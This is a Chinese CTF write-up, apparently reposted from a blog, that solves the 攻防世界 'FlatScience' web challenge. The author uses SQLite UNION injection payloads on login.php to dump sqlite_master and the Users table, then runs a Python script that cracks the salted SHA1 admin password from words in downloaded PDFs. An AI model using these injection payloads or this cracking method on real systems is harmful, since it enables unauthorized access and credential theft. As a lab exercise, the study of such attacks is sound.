飞道的博客

攻防世界 web FlatScience

357人阅读  评论(0)

打开网页后每个转跳都点一下发现都是pdf文件除了here

进入了根目录1,然后点here或者these会进入不同的根目录。
这也太难看出其中的奥秘了,用dirsearch跑一下。

经过测试后:发现login.php与admin.php是解题的关键
admin.php的源代码提示了不要绕过,虽然大多数题目都会这样说。

在login.php的源代码里找到了提示

加上 ?debuf 出现源码
通过网页输入而且连接sqlite数据库,这无疑是SQLite注入了。
SQLite数据库自带sqlite_master表。

查询 usr=‘ union select name,sql from sqlite_master&pw=
通过set-cookie发现Users里面有这几个表

id int primary key
name varchar
password varchar
hint varchar

于是利用联合查询一个一个看:
UNION :合并两个或者两个以上的SQL语句(默认地,UNION 操作符选取不同的值)
UNION ALL:合并操作符相同的几个SQL语句

usr=%27 UNION SELECT id, name from Users--+&pw=chybeta
//name=+admin
usr=%27 UNION SELECT id, password from Users--+&pw=chybeta
//name=+3fab54a50e770d830c0416df817567662a9dc85c
usr=%27 UNION SELECT id, hint from Users--+&pw=chybeta
// name=+my+fav+word+in+my+fav+paper%3F%21

根据hint的name=+my+fav+word+in+my+fav+paper%3F%21提示可能passwrod在pdf文章的hash码中。

结合前面源代码里的password加密,先用wget将网站的全部pdf文件down下来。

wget ip -r -np -nd -A .pdf

然后用脚本拼接上"Salz"后hash加密与前面注入得出的password比较,这样就可以得出管理员得密码了
我的kali炸了,以后再实机演示。

下面贴出大佬的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

这道题碰巧可以用另一种方法,账户密码刚好可以md解密出来
去掉后面的Salz!,管理员登陆得到flag

没写完,明天再来。
https://blog.csdn.net/zz_caleb/article/details/89323133


转载:https://blog.csdn.net/qq_43478096/article/details/104663392
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场